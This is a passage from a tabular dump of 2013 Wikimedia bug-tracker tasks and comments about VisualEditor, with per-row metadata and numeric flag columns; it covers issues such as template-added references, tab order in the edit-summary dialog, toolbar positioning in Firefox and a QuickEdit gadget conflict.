+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50929",Needs Triage,90.0,1374837420,1385396429.0,PHID-USER-2nopae2cxuamwcbndaih,False,,False,PHID-TASK-inyop7q4zxzxlulleamf,task_description,declined,True,c1,3,False,False,False,3,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+238867,User preference to disable VisualEditor (VE product),"I am a bit disappointed by this closing, although it was only a suggestion of generalisation of the Wikimedia configuration for progressive deployment on third-party wikis. But it’s not very important.",,,1385996565,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-inyop7q4zxzxlulleamf,task_subcomment,,True,c1,3,False,,,22,,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+238859,User preference to disable VisualEditor (VE product),"On-wiki configuration management is a much bigger piece than just for VisualEditor; I think it's probably marking this as WONTFIX within the context of VE, but instead suggest that the RfCs for this (as a piecemeal approach seems worse than nothing).",,,1385396429,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inyop7q4zxzxlulleamf,task_subcomment,,True,c1,3,True,,,21,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+238853,User preference to disable VisualEditor (VE product),"(In reply to comment #0)
+...
+> I point out the default messages visualeditor-preference-enable/disable
+> should
+> have a general-wiki phrasing, and any Wikimedia customisation (about
+> namespaces
+> where it is enabled, about the time the parameter is available before
+> possibly
+> hide the preference) should be customised in the WikimediaMessages extension
+> (see my comment https://bugzilla.wikimedia.org/show_bug.cgi?id=50929#c34 ).
+
+About this, see also bug 52188.",,,1375183728,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-inyop7q4zxzxlulleamf,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+238849,User preference to disable VisualEditor (VE product),"In the proposed scenario the default values of the two preferences visualeditor-enable and visualeditor-disable would be false: in a beta environment the default is ""not enabled by default=false"", and in the production environment the default is ""not disabled by default=false"".",,,1374838260,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-inyop7q4zxzxlulleamf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+54083,VisualEditor: References that are added by templates are not recognized by the references tool,"I saw bugs that are similar to this one, for example Bug 51289, but nothing exactly like this one.
+
+References that are added by templates are not recognized by the references tool. I am not talking about templates like the English Wikipedia's {{cite web}}, which go inside the <ref> tag, but about template that add the <ref> tag itself (with {{#tag:ref}}).
+
+This can be in infoboxes (Bug 51289) or in any other template. The Hebrew Wikipedia, for example, uses such a template, {{הערה}} very extensively, because mixing right-to-left text with left-to-right XML tags like <ref> is very hard to edit. This means that most of the references there are not usable for reusing in the ""Use an existing reference"".
+
+(This also means a bunch of other things, but I'll report them separately.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374825720,1374880234.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-olrhjl5ydsytkfv6yzoo,task_description,resolved,True,c1,3,False,False,True,3,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+238669,VisualEditor: References that are added by templates are not recognized by the references tool,"The problems with references created by templates are numerous, and possibly impossible to fix ({{#tag:ref}} was never meant to work and this is an example of it not working). :-(
+
+In general they are part of bug 50474, but I'll expand that to be clearer.
+
+*** This bug has been marked as a duplicate of bug 50474 ***",,,1374880234,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-olrhjl5ydsytkfv6yzoo,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+54080,"Wrong tab-order on the ""Edit summary"" window","A5b writes:
+
+Edit page, then click save to get ""Edit summary"" Window. Don't touch mouse, put some description, using the keyboard.  Then we want to change checkboxes ""minor edit"" or ""watch page"", without using the mouse. Press <nowiki><Tab></nowiki> key, and you will be directed to the link ""minor edit"" not to the checkbox. second Tab - is ""Save Page"" button. Next - ""review changes"". Next three tabs - for links in the footer of this windows. 
+
+Is it possible to change tab order to this (e.g. using tabindex argument or via rearranging divs and other elements): 
+*1. ""description""
+*2. ""minor edit checkbox""
+*3. ""watch page checkbox""
+*4. ""Save page""
+*5. ""review changes""
+*6. anything else
+Or even move ""save page"" and ""review"" to be just after ""description"".
+
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback#Wrong tab-order on the ""Edit summary"" window
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374817380,1374818679.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-3d44p7lu3ycz3cvuwxqd,task_description,resolved,True,c1,3,False,False,True,3,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+238544,"Wrong tab-order on the ""Edit summary"" window","
+
+*** This bug has been marked as a duplicate of bug 51918 ***",,,1374880815,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3d44p7lu3ycz3cvuwxqd,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+238536,"Wrong tab-order on the ""Edit summary"" window","
+
+*** This bug has been marked as a duplicate of bug 50047 ***",,,1374818679,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3d44p7lu3ycz3cvuwxqd,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54044,VisualEditor: only a part of word is linked and <nowiki/> is added,"When I select text that ends in the middle of the word and add a link, only the selected part is linked. Also, <nowiki/> is added after the link.
+
+For example, in https://en.wikipedia.org/w/index.php?title=Ramat_Yohanan&diff=565789129&oldid=553919950 I selected ""South Africa"" and added the link. I saw an AbuseFilter warning when I was saving, but saved anyway to report the bug :)
+
+Being a seasoned Wikipedian, I expect the whole word to be linked, although now that I think of it, I can imagine that linking a part of the word can be useful, too. So I'm not completely sure whether it's a bug or a feature.
+
+This may be related to Bug 50127, though the description is not the same.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374778680,1374797030.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-yvfkvibbvk27rfmuao7p,task_description,declined,True,c1,3,False,False,True,3,,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+235865,VisualEditor: only a part of word is linked and <nowiki/> is added,"This is not a 'bug', but intentional behaviour.
+
+If you actually want to produce [[Foo]]ian as opposed to [[Foo|Fooian]], VisualEditor/Parsoid doesn't have a way to guarantee that (right now Parsoid creates piped links even when it could do link trails/heads, but this could change in the future), because it's irrelevant to the reader and to editors.
+
+Consequently I'm marking this as ""WONTFIX"", but see bug 37939 for a wider discussion of the usability issue.",,,1374797030,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yvfkvibbvk27rfmuao7p,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+54036,VisualEditor: blanking a page doesn't remove comments,"See https://en.wikipedia.org/w/index.php?title=User:Octalpuss/sandbox&oldid=565273394, which, blanked, turns into https://en.wikipedia.org/w/index.php?title=User:Octalpuss/sandbox&oldid=565667534
+
+I appreciate with the lack of comment-editing (or comment viewing) preserving these is usually A Good Thing, but we do need a better way of handling them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=60830",Needs Triage,90.0,1374770400,1393271493.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ijjtl5hsv4igmy4k6sej,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+235456,VisualEditor: blanking a page doesn't remove comments,"
+
+*** This bug has been marked as a duplicate of bug 49603 ***",,,1393271493,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ijjtl5hsv4igmy4k6sej,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+235450,VisualEditor: blanking a page doesn't remove comments,"Providing new link since that user's sandbox is gone:
+https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=63959567&oldid=63959556 .",,,1391511752,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ijjtl5hsv4igmy4k6sej,task_subcomment,,True,c1,3,False,,,31,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+54032,VisualEditor: No easy way to add content before a template at the start of a line,"PamD at the English Wikipedia reports that there is no easy way to add new content between a reflist and a template that follows it before you save the page.
+
+This is a problem if your workflow is to add the stub template before adding the external links, which is entirely reasonable.
+
+Steps to reproduce (option 1): 
+1. create page with references and a reflist.
+2. add a template (e.g. a stub template) after the reflist
+3. add content between the references list and the template (e.g. an external links section).
+
+Steps to reproduce (option 2):
+1. Go to a page with no content between a reflist block and a template (e.g. https://en.wikipedia.org/w/index.php?title=Tyson_R._Roberts&oldid=565739822&veaction=edit )
+2. Delete all content after the reflist:
+3. Add a template (e.g. a stub template)
+4. Add content between the references list and the template (e.g. an external links section).
+
+There is a workaround: select the reflist, press the right cursor key once, press enter. This gets you a blank line with which to work from.
+
+Desired behaviour: 
+There should be somewhere to click between the reflist and the stub template, just as there is after the page has been saved and reopened in VE.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52620",Needs Triage,90.0,1374765240,1395357259.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-tghru467viza4owq4m3v,task_description,resolved,True,c1,3,False,False,False,3,,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+235138,VisualEditor: No easy way to add content before a template at the start of a line,"This is caused by bug 49784; if we knew that the template you'd just added was a block, we would insert a slug above the template (which exists precisely for this reason). Merging.
+
+*** This bug has been marked as a duplicate of bug 49784 ***",,,1395357259,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tghru467viza4owq4m3v,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+235130,VisualEditor: No easy way to add content before a template at the start of a line,"Whatamidoing comments that the issue is that there is no way easy to select a line starting with a template:
+
+So someone added a book to a ==Further reading== section.  Book #1 used a citation template.  Book #2 did not.  Neither had bullet list formatting.
+
+Selecting them was hard.  I ended up selecting the header, the template, and the plain-text citation.  Then I clicked the 'list' button.  Then I went back and repaired the formatting for the section heading.  This isn't necessary, but it was easier than trying to figure out the exact stop to place the cursor. 
+
+[...]
+
+[The] problem is that it's hard to select just the line that contains the template.  You have to find the magic spot in the middle of ""==Heading==<nowiki>{{template}}</nowiki>"" to select the template without picking up the entire section heading.  I managed it later in testing, but only if I'm selecting text with arrow keys.  With the trackpad, it's still beyond me.",,,1378037641,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-tghru467viza4owq4m3v,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,1
+54028,TemplateData should allow specifying default values for parameters,"TemplateData should allow some parameters to have default values which are prefilled when using the VisualEditor transclusion manager. 
+
+An example would be the current date for accessdate in citation templates.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374763800,1375183466.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-fcytooow3nd5c6cwcwl6,task_description,resolved,True,c1,3,False,False,True,3,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+234901,TemplateData should allow specifying default values for parameters,"
+
+*** This bug has been marked as a duplicate of bug 51428 ***",,,1375183466,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fcytooow3nd5c6cwcwl6,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53998,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","**Author:** `lovefilms`
+
+**Description:**
+The screen shot of the missing Production section trying to edit
+
+When click on Edit to edit a section of an article, for example, 
+https://en.wikipedia.org/wiki/Blue_Jasmine#Production
+the result page https://en.wikipedia.org/wiki/Blue_Jasmine?veaction=edit#Production appears to be a huge toolbar on top, and the section of ""Production"" is almost invisible - see attached screen shot. 
+
+Also, the toolbar should be clearly marked with visible borders to distinguished from the contents of an article. Now it's almost blurred into the article and very confusing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**OS**: Windows 7
+**Platform**: PC
+
+**Attached**: {F11047}",Needs Triage,90.0,1374709260,1377190936.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-mcleu5c4oborex7k7xit,task_description,resolved,True,c1,3,False,False,True,3,,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+232237,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","**lovefilms** wrote:
+
+I am in FF23.0.1 and the VisualEditor is working as intended now. I go ahead to mark it as Resolved - since people can always use the new version of FF.",,,1377190936,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+232234,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","Firefox 23.0 for Ubuntu:
+
+Everything works fine when clicking the ""Edit (beta)"" link at https://en.wikipedia.org/wiki/Blue_Jasmine#Production - fullscreen window as well as small window.
+
+
+Chromium 28.0.1500.71 for Ubuntu 
+
+Same thing a above. It just works.",,,1377190457,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,7,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+232230,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","**lovefilms** wrote:
+
+I am using Firefox 22 as well (on Windows 7). 
+
+The IE9 doesn't seem to have the VisualEditor, the edit link will simply goes to https://en.wikipedia.org/w/index.php?title=Blue_Jasmine&action=edit&section=3",,,1374771991,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+232225,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","(e/c) I can reproduce on Firefox 22/Linux and Windows, and on Chrome/Windows to a lesser degree when using https://en.wikipedia.org/wiki/Blue_Jasmine?veaction=edit#Production or when loading https://en.wikipedia.org/wiki/Blue_Jasmine?veaction=edit and click the 'edit' link beside 'Production' (the bug doesnt occur if middle-clicked, as that open the url with 'vesection=3' added).
+
+Most times I do this, it is possible to see the viewport position itself correctly at the anchor, but then then toolbar appears covering the section heading and a half of the first line of text.",,,1374744764,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0
+232218,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","I think is is related to screen resolution \ the size of the browser window. If you have a low resolution (Or resize the browser window to be small enough) Firefox 22 and Chrome 28 will place the ""ve-ui-toolbar-actions"" element on a second line in the edit toolbar.
+
+If you edit a section in the small-size browser it will scroll to the section as it normally would, but doesn't take the twice-as-high-as-usual edit toolbar into account when determining where to stop. As a result the section header is actually positioned under the second toolbar line. If you resize the browser afterwards to a size that allows for a single-line edit toolbar the section header will be correctly positioned.",,,1374744542,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+232210,"When use Firefox to edit a section of an article, the VisualEditor ends up incorrect position","Which Firefox version is this about? 
+Can you reproduce the problem with other browsers?",,,1374740581,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mcleu5c4oborex7k7xit,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+53989,"VisualEditor: ""add template"" should have the same functionality as return in the template dialog","If you type, say, 'cite w' into the template selector, it drops down a list of possible templates. Hitting return inserts the one that was selected from that dropdown. Great!
+
+Hitting 'add template', however, does not; it returns 'cite w', a non-existent template. It would be good if 'add template''s behaviour could mimic that of the return key.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374697260,1385395164.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-s2gl74yfgu2t3qm3jv3q,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+255208,"VisualEditor: ""add template"" should have the same functionality as return in the template dialog",This was done some time ago as part of the tweaks to the input box.,,,1385395164,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s2gl74yfgu2t3qm3jv3q,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+53976,"Impossible to edit a specific section when switching from VisualEditor to ""legacy mode"" (due to reference to QuickEdit gadget in vector.js?)","**Author:** `l736ewiki`
+
+**Description:**
+I'm an user on it.wiki, where VisualEditor is now enabled by default on the whole ns0.
+
+I was trying to modify a long article, on a specific section, and needed to introduce wikicode (namely {{...}} for a paragraph replaced by an empty section).
+
+
+VisualEditor forced me to switch to legacy mode, but whenever I try to edit the specific section, through the local ""Edit"" command at section level, the legacy editor always opens in the basic editor the whole article and not just the selected section.
+
+This is heavily annoying when dealing with very long articles, with plenty of sections.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**OS**: Mac OS X 10.8
+**Platform**: Macintosh",Needs Triage,90.0,1374686580,1376324056.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fyok2cjpctqiorpfldvp,task_description,invalid,True,c1,3,False,False,True,3,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+254477,"Impossible to edit a specific section when switching from VisualEditor to ""legacy mode"" (due to reference to QuickEdit gadget in vector.js?)","**l736ewiki** wrote:
+
+I'm using vector. The issue appeared both on Safari/OS X (Mountain Lion, 10.8) and on Firefox/Windows XP Pro.
+
+
+However, I was apparently able to overcome the issue. I read in the FAQ that it's recommended to disable the QuickEdit extension to avoid undesired effects with VE, so I checked in my preference pane that this extension was actually disabled (and it was).
+
+
+However, in my vector.js fiel, inside the ""toLoad"" variable, there was a reference to QuickEdit gadget (qed). Looks like the presence of that string inside vector.js actually caused the extension to be loaded anyway. Removing that string from the vector.js and refreshing the browser's cache overcame the issue. Now I'm able to open VE directly over single individual sections.
+
+So the results are:
+* it's not enough to verify in the preference pane that the QuickEdit extension is disabled
+* any reference to QuickEdit shall be removed also from the local vector.js (or monobook.js, I assume then)",,,1376065760,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fyok2cjpctqiorpfldvp,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+254470,"Impossible to edit a specific section when switching from VisualEditor to ""legacy mode"" (due to reference to QuickEdit gadget in vector.js?)","I can't reproduce this on it.wiki, using vector skin and Firefox/Linux.
+
